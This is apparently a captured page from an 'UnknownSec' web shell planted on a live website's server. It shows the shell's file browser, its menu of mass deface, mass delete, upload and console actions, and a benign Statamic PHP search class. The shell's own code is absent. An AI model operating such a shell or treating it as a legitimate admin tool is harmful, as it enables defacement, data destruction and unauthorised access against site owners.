shell bypass 403
UnknownSec Shell
:
/
home
/
forge
/
lolasweb.brannanatkinson.com
/
vendor
/
statamic
/
cms
/
src
/
Search
/
Searchables
/ [
drwxrwxr-x
]
upload
mass deface
mass delete
console
info server
name :
Entries.php
<?php namespace Statamic\Search\Searchables; use Illuminate\Support\Collection; use Illuminate\Support\LazyCollection; use Statamic\Contracts\Entries\Entry as EntryContract; use Statamic\Facades\Entry; class Entries extends Provider { public static function handle(): string { return 'collection'; } public static function referencePrefix(): string { return 'entry'; } public function provide(): Collection|LazyCollection { $query = Entry::query(); if (! $this->usesWildcard()) { $query->whereIn('collection', $this->keys); } if ($site = $this->index->locale()) { $query->where('site', $site); } return $query->lazy(100)->filter($this->filter())->values(); } public function contains($searchable): bool { if (! $searchable instanceof EntryContract) { return false; } if (! $this->usesWildcard() && ! in_array($searchable->collectionHandle(), $this->keys)) { return false; } if (($site = $this->index->locale()) && $site !== $searchable->locale()) { return false; } return $this->filter()($searchable); } public function find(array $ids): Collection { return Entry::query()->whereIn('id', $ids)->get(); } protected function defaultFilter() { return fn ($item) => $item->status() === 'published'; } }
© 2026 UnknownSec